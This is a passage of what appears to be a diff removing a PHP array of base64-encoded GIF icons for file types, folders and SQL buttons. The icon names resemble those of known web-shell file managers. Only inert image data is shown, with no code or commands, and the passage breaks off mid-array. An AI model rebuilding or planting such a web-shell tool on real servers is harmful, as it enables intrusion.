-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
-"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
-"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
-"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
-"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
-"download"=>
-"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
-"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
-"forward"=>
-"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
-"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
-"WqsJADs=",
-"home"=>
-"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
-"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
-"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
-"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
-"mode"=>
-"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
-"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
-"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
-"refresh"=>
-"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
-"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
-"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
-"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
-"search"=>
-"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
-"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
-"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
-"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
-"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
-"setup"=>
-"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
-"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
-"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
-"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
-"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
-"small_dir"=>
-"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
-"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
-"small_unk"=>
-"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
-"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
-"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
-"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
-"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
-"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
-"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
-"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
-"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
-"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
-"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
-"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
-"yAsokBkQADs=",
-"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
-"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
-"sort_asc"=>
-"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
-"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
-"sort_desc"=>
-"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
-"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
-"sql_button_drop"=>
-"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
-"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
-"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
-"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
-"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
-"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
-"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
-"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
-"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
-"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
-"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
-"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
-"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
-"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
-"AQEAOw==",
-"sql_button_empty"=>
-"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
-"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
-"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
-"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
-"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
-"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
-"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
-"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
-"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
-"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
-"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
-"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
-"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
-"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
-"sql_button_insert"=>
-"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
-"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
-"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
-"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
-"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
-"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
-"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
-"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
-"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
-"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
-"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
-"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
-"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
-"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
-"up"=>
-"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
-"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
-"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
-"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
-"write"=>
-"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
-"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
-"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
-"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
-"ext_asp"=>
-"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
-"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
-"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
-"ext_mp3"=>
-"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
-"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
-"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
-"ext_avi"=>
-"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
-"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
-"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
-"ext_cgi"=>
-"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
-"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
-"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
-"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
-"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
-"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
-"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
-"RYtMAgEAOw==",
-"ext_cmd"=>
-"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
-"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
-"dmrYAMn1onq/YKpjvEgAADs=",
-"ext_cpp"=>
-"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
-"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
-"Eq7YrLDE7a4SADs=",
-"ext_ini"=>
-"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
-"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
-"SnEjgPVarHEHgrB43JvszsQEADs=",
-"ext_diz"=>
-"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
-"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
-"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
-"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
-"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
-"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
-"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
-"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
-"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
-"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
-"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
-"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
-"Ow==",
-"ext_doc"=>
-"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
-"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
-"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
-"ext_exe"=>
-"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
-"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
-"xhIAOw==",
-"ext_h"=>
-"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
-"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
-"Wq/NknbbSgAAOw==",
-"ext_hpp"=>
-"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
-"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
-"UqUagnbLdZa+YFcCADs=",
-"ext_htaccess"=>
-"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
-"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
-"AAA7",
-"ext_html"=>
-"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
-"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
-"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
-"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
-"ADs=",
-"ext_jpg"=>
-"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
-"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
-"FxEAOw==",
-"ext_js"=>
-"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
-"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
-"a00AjYYBbc/o9HjNniUAADs=",
-"ext_lnk"=>
-"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
-"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
-"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
-"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
-"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
-"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
-"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
-"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
-"ADs=",
-"ext_log"=>
-"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
-"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
-"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
-"ext_php"=>
-"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
-"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
-"ext_pl"=>
-"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
-"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
-"ext_swf"=>
-"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
-"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
-"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
